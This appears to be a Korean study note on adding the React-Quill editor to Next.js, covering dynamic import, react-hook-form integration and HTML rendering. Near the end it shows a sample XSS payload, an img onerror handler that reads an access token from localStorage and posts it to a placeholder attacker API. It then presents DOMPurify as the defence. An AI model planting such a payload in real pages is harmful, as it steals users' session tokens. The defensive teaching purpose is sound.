

그 외에도 위와 같이 줄바꿈을 하고 입력을 해도 별도로 data 출력 시 줄바꿈에 대한 결과를 처리해 주지 않으면, 한 줄 처리가 됨
웹 에디터 라이브러리를 사용하면 이런 단점들을 보완하여 더 스타일리쉬하게 내용을 작성할 수 있음
*웹 에디터 라이브러리는 React-Quill, React Draft Wysiwyg, TOAST UI Editor 등이 있음
yarn add react-quill
import ReactQuill from 'react-quill';
import 'react-quill/dist/quill.snow.css';

<ReactQuill />로 지정하면 웹 에디터를 사용 가능import ReactQuill from "react-quill";
import "react-quill/dist/quill.snow.css";
export default function WebEditorPage() {
const handleChange = (value: string) => {
console.log(value);
};
return (
<div>
작성자: <input type="text" />
<br />
비밀번호: <input type="password" />
<br />
제목: <input type="text" />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</div>
);
}
최종적으로 onChange 안에 함수를 넣고 해당 함수의 인자로 value를 받아올 수 있음
*여기서 onChange는 기본적인 onChange 함수와는 다른, ReactQuill 개발자가 만들어 둔 커스텀 기능
[BUT!] => 위와 같이 import하여 사용하려 하면 에러 발생!!

Next.js 는 기본적으로 서버사이드 렌더링(SSR)을 지원하기 때문에 프론트 서버에서 페이지를 렌더링하는 단계(pre-rendering)에서는 window 객체나 document(DOM)이 존재하지 않음
이 상황에서 react-quill 을 import 하면 react-quill 이 아직 정의되지 않은 Document를 조작하려 하기 때문에 undefined 에러가 발생하는 것!!
[해결방안] => dynamic import 사용
import dynamic from 'next/dynamic';
const ReactQuill = dynamic( async() => await import('react-quill'), {
ssr : false // ssr 중에는 import 하지 않겠다는 의미
})
Next.js 에서 제공하는 dynamic 을 사용해서, 모듈을 import하는 시점을 SSR(서버사이드 렌더링) 즉, Pre-rendering 이 끝나고 document가 정의된 이후로 지정할 수 있음
*dynamic import를 사용해서 SSR 이슈 뿐만 아니라 성능최적화도 가능
*반드시 다운받지 않아도 되는 부분은 dynamic import를 사용해서 필요시점에 다운받도록 하여 초기 다운속도를 향상시키고, 로딩속도 향상 가능
[이런 식으로 필요한 시점에 import 해오는 것을 코드를 분리했다고 해서, 코드 스플릿팅(Code spliting)이라고 함]
+a) React-Quill, react-hook-form 과 연동해서 사용하기
```jsx
import { useForm } from "react-hook-form";
// import ReactQuill from "react-quill"; // 다이나믹 임포트로 변경하기 !
import "react-quill/dist/quill.snow.css";
import dynamic from "next/dynamic";
const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });
export default function WebEditorPage() {
const { register } = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
};
// if (process.browser) {
// console.log("나는 브라우저다 !!");
// } else {
// console.log("나는 프론트엔드 서버다 !!");
// }
return (
<div>
작성자: <input type="text" {...register("writer")} />
<br />
비밀번호: <input type="password" {...register("password")} />
<br />
제목: <input type="text" {...register("title")} />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</div>
);
}
onchange 속성이 필수 입력값이기 때문에, react-hook-form 의 register가 적용되지 않음const { register, setValue} = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value);
};
setValue 라는 기능을 꺼내와서 onChange에 바인딩되는 함수 안에 직접 값을 지정해 줌setValue 의 첫 번째 인자에 해당 값의 key값을, 2번째 인자에 value를 강제적으로 담음const { register, setValue } = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
};
<p><br><p> 형태의 태그가 남아있게 됨"" 으로 지정const { register, setValue, trigger } = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
// onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
trigger("contents");
};
하지만 event를 감지하는 onChange 가 아닌 개발자가 직접 만든 기능이기에 값만 입력되었을 뿐 입력 여부는 검증되지 않음
따라서 react-quill 에서 제공하는 trigger 를 사용하여 값의 변경 여부를 강제적으로 변경해줘야 함
웹 에디터로 등록한 게시글 화면에 표출하기

return (
<div>
<div>작성자: {data?.fetchBoard.writer}</div>
<div>제목: {data?.fetchBoard.title}</div>
<div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
</div>
);
}
dangerouslySetInnerHTML 을 사용하면 태그의 화면 표출 부분에 HTML 태그를 직접적으로 삽입할 수 있음dangerouslySetInnerHTML 은 여기 태그 안에서 표출되는 값은 HTML 문법을 적용시켜서 화면에 표출하겠다는 의미가 됨!
dangerouslySetInnerHTML 방식은 공격받을 가능성이 높은 매우 위험한 방식dangerouslySetInnerHTML 방식의 공격 사례
<img src="#" onerror="
const aaa = localStorage.getItem('accessToken');
axios.post(해커API주소, {accessToken = aaa});
" />
dangerouslySetInnerHTML 로 작성할 경우, 해커가 입력값을 위와 같이 작성할 수 있음
# 이라는 형식은 src 형식에 맞지 않기 때문에 에러가 발생하고, 이에 따라 onerror 속성이 error에 대한 대체 방안으로 지정한 것을 실행해 줌
이 때 만약 위 처럼 코드를 작성한다면, 해당 글이 작성된 페이지로 유저가 접속했을 때, 자신도 모르게 accessToken을 탈취 당할 수도 있음
이처럼 사이트의 취약점을 노려서 악의적 코드를 브라우저에 심고, 사용자가 접속할 시 해당 악성코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS) 라고 함
XSS 공격에 대한 방어 - [Dompurify] 사용
Dompurify 라는 라이브러리를 이용해서 공격코드 차단 가능yarn add dompurify
yarn add -D @types/dompurify
{process.browser &&
<div
dangerouslySetInnerHTML={{
__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
}}
/>
}
위와 같이 작성하면 해당 태그의 입력 표출 부분에 공격코드를 필터링 해 줌
Dompurify 또한 Document 에서 작동하기 때문에 위와 같이 조건부 렌더링을 설정하여 브라우저 환경에서만 해당 태그가 보여지도록 지정